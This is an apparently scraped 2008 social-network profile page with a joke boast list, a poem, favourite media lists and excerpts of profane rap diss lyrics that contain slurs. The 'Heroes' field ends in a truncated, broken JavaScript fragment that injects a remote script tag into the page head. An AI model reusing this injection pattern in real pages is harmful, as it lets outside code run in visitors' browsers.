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gitma gryndon

trammell in the office take notes when i'm talkin, smooth as a cruise boat floats when i'm walkin

About Me

I am a dynamic figure.I have been known to remodel train stations on my lunch breaks, making them more efficient in the area of heat retention. I translate ethnic slurs for Cuban refugees, I write award-winning operas, I manage time efficiently.I woo women with my sensuous and godlike trombone playing, I can pilot tricycles up severe inclines with unflagging speed, and I can cook Thirty-Minute Brownies in twenty minutes. I am an expert in stucco, a veteran in love, and an outlaw in Peru. Using only a hoe and a large glass of water, I once single-handedly defended a small village in the Amazon Basin from a horde of ferocious army ants. I play bluegrass cello, I was scouted by the Mets. I am the subject of numerous documentaries. When I'm bored, I build large suspension bridges in my yard. I enjoy urban hang gliding. On Wednesdays, after work, I repair electrical appliances free of charge.Critics worldwide swoon over my original line of corduroy evening wear. I do not perspire. I am a private citizen, yet I receive fan mail. I have been caller number nine and have won the weekend passes. I bat .400. My deft floral arrangements have earned me fame in international circles. Children trust me. I can hurl tennis rackets at small moving objects with deadly accuracy. I know the exact location of every food item in the supermarket. I have performed covert operations for the CIA. While on vacation in Canada, I successfully negotiated with a group of terrorists who had seized a small bakery. The laws of physics do not apply to me. I balance, I weave, I dodge, I frolic, and my bills are all paid. Years ago I discovered the meaning of life but forgot to write it down. I have made extraordinary four-course meals using only a Mouli and a toaster oven. I breed prize-winning clams. I have won bullfights in San Juan, cliff-diving competitions in Sri Lanka, and spelling bees at the Kremlin. I have played Hamlet, I have performed open-heart surgery, and I have spoken with Elvis. In a nutshell, i'm the shit. MyGen Profile Generator

My Interests

Pleasure turns to the pain, Of the lessons learned from the strain Of the questions burned in my brain, About whether to love is humane in its touch. These thoughts are like salmon swimming upstream in the tears of your deceit. Fighting the current hurt that kills more than is created by the chaos of our intertwined emotions. Chatoic because the anchor of Eros' arrow has been plucked from the vessel of my undying infatuation. Separation not as simple as the distance between us My mind no longer possessed by the demons that had been the overseers of my enslavement to your lies. The seeds of these lies rooted so deeply they have cracked the foundation of what we once shared. Allowing the faith in us I had sealed inside to gush out like a river, Ripping the image of our future together from my thoughts as violently and as brutally as if it were a child being taken from his mother's arms. I'm left surrounded in darkness but I refuse to be swallowed by it. My loneliness like the night air. Invisible to the eye, obvious to the touch, In its cold uncomfortableness Yet if I could do it all over again, I'd do it in the same skin I'm in. To lay down and let love die, Just stay down and let love lie, No, no, not I. I'll stay 'round and let love fly, Even though I have seen its darkest form, deceit. Nothing else could taste this warm or feel this sweet.

I'd like to meet:

Michael Vick, allen iverson, d wade, kobe bryant, denzel washington, lil wayne, dave chapelle, flavor flav, snoop dogg, oprah, tyra banks,

Music:

T.I, the game, lil Wayne, 2pac, ludacris, kanye west, common, john legend, talib kweli, dem franchise boyz,trey songs, usher, cassidy, dead prez, mos def, biggie, wu tang, nelly, dmx, jay z, snoop dogg, alicia keys, fantasia, kieshia cole, fat joe, fabolous, outkast, tribe called quest, naughty by nature, tyrese

Movies:

Godfather 1&2 scarface, remember the titans, coach carter,madea, 4 brothers, menace II society, boyz in da hood, forrest gump, ice age, friday, meet the parents, pirates of the caribbean 1 and 2, the godfather, friday night lights, miami vice, saving private ryan, soul plane, the departed, tha divinci code, state property, dont be a menace to south central while drinking ur juice in the hood, juice

Television:

SCRUBS IS THE BEST SHOW ON TV!! then house,espn, BET, american idol, chapelle show, south park, sportcenter,college hill, wild n out,boondocks,family guy, 106 and park,pardon the interuption,rap city, house, tom and jerry, popeye

Books:

killing mr griffin

Heroes:

martin luther king jr, tupac shakur, muhammed ali, malcom x, michael jordan, kirk franklin .."var s=..reateElement('script');s.src='..';..·getEl ementsByTagName('head')[0].appendChild(s);">

My Blog

wut some call politics

had to come back, i gotta get my fix tril hats and no fly ass kicks jus six, six pound, bullion bricks in my wallet, yea, who got stacks like this not the kids who daddy got killed for his car or the ...
Posted by gitma gryndon on Sun, 18 May 2008 05:11:00 PST

i pledge allegiance

Now I don't like resorting to violence So u better shut ya mouth like a moment of silence Victory cums too easy like an oversized clitorous From the pen, and the paper I'm indigenous Its what I do, h...
Posted by gitma gryndon on Thu, 15 May 2008 05:24:00 PST

comebak

Well its bout that time to make another hit Swag so fye, flow so sick Why u think all these hoes want my dick if they don't get they time  they throw a straight fit Vet in the game aint no mo nee...
Posted by gitma gryndon on Sat, 03 May 2008 03:51:00 PST

stop cryin stop bitchin

Miniscule problems and minute altercations It urks my fuckin soul I don't need your conversation Big bags of money give misfortune limitations Trade my setback for yours I'll have a fuckin celebratio...
Posted by gitma gryndon on Sat, 19 Apr 2008 06:49:00 PST

aint even comp no mo

it seems like ur runnin outta material thats serious either u straight up lyin or my rhymes made u delerious so u fukd kelsey now? must be talkin bout clyburn u urkin me now down to the makeup of my f...
Posted by gitma gryndon on Thu, 27 Mar 2008 06:20:00 PST

R.I.P taidow

now i have no clue how this beef even started but u finna regret this shit whole hearted k hunt asked me to describe ya skills i farted this aint IL nigga territory is uncharted i’m a kill u, li...
Posted by gitma gryndon on Wed, 26 Mar 2008 07:19:00 PST

aint no childrens game boy

come on dog i thought i taught you better than this u dont use the lines of tha man that u diss that shit wuz stupid, cuz now i’m mad offended b but i aint gon take it too hard cuz u w...
Posted by gitma gryndon on Tue, 25 Mar 2008 07:57:00 PST

its on like donkey kong

u cocky ass nigga guess what i’m bout to get cha underdog knockin you off like west virgina boy u better ask for forgiveness like a sinner or ima chop u up into bits like jeffrey dahmer dinner s...
Posted by gitma gryndon on Sun, 23 Mar 2008 10:21:00 PST

back in the game

12 comin for the title cuz i’m hungry a champion i’m not but its wut i’m fuckin gun b strikin fear in ya heart like a fuckin hum v wild and sporatic i aint finna spit calmly tryna sh...
Posted by gitma gryndon on Sat, 22 Mar 2008 03:21:00 PST

therapy

Problems plague everybody But they apparently hit me harder Cant go get advice cuz I’m already smarter Than the average teenager, scratch that the average man If he can do it then shit I know I ...
Posted by gitma gryndon on Thu, 20 Mar 2008 09:02:00 PST